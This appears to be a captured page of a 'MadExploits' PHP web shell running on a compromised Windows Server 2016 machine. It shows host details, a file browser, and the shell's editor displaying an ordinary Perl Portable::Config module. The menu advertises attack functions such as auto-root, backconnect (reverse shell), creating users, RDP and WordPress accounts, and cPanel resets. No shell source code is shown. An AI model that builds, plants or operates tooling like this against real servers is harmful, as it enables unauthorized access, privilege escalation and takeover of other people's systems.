Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Portable /
[ HOME SHELL ]
Name
Size
Permission
Action
CPAN.pm
2.04
KB
-rw-rw-rw-
Config.pm
2.14
KB
-rw-rw-rw-
FileSpec.pm
4.87
KB
-rw-rw-rw-
HomeDir.pm
1.96
KB
-rw-rw-rw-
LoadYaml.pm
12.84
KB
-rw-rw-rw-
minicpan.pm
1.34
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Config.pm
package Portable::Config; use 5.008; use strict; use warnings; use Portable::FileSpec; our $VERSION = '1.23'; ##################################################################### # Constructor sub new { my $class = shift; my $parent = shift; unless ( Portable::_HASH($parent->portable_config) ) { die('Missing or invalid config key in portable.perl'); } # Create the object my $self = bless { }, $class; my $conf = $parent->portable_config; my $root = $parent->dist_root; foreach my $key ( sort keys %$conf ) { unless ( defined $conf->{$key} and length $conf->{$key} and not $key =~ /^ld|^libpth$/ ) { $self->{$key} = $conf->{$key}; next; } #join path to directory of portable perl with value from config file if ($key eq 'perlpath') { $self->{$key} = Portable::FileSpec::catfile($root, split /\//, $conf->{$key}); } else { $self->{$key} = Portable::FileSpec::catdir($root, split /\//, $conf->{$key}); } } foreach my $key ( grep { /^ld|^libpth$/ } keys %$self ) { #special handling of linker config variables and libpth next unless defined $self->{$key}; $self->{$key} =~ s/\$(\w+)/$self->{$1}/g; } return $self; } sub apply { my $self = shift; my $parent = shift; # Force all Config entries to load, so that # all Config_heavy.pl code has run, and none # of our values will be overwritten later. require Config; my $preload = { %Config::Config }; # Shift the tie STORE method out the way SCOPE: { no warnings; *Config::_TEMP = *Config::STORE; *Config::STORE = sub { $_[0]->{$_[1]} = $_[2]; }; } # Write the values to the Config hash foreach my $key ( sort keys %$self ) { $Config::Config{$key} = $self->{$key}; } # Restore the STORE method SCOPE: { no warnings; *Config::STORE = delete $Config::{_TEMP}; } # Confirm we got all the paths my $volume = quotemeta $parent->dist_volume; foreach my $key ( sort keys %Config::Config ) { next unless defined $Config::Config{$key}; next if $Config::Config{$key} =~ /$volume/i; next unless $Config::Config{$key} =~ /\b[a-z]\:/i; die "Failed to localize \$Config::Config{$key} ($Config::Config{$key})"; } return 1; } 1;
Close